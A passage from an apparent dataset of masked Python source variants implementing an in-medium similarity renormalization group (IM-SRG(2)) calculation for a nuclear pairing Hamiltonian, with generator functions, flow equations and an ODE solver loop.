fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * 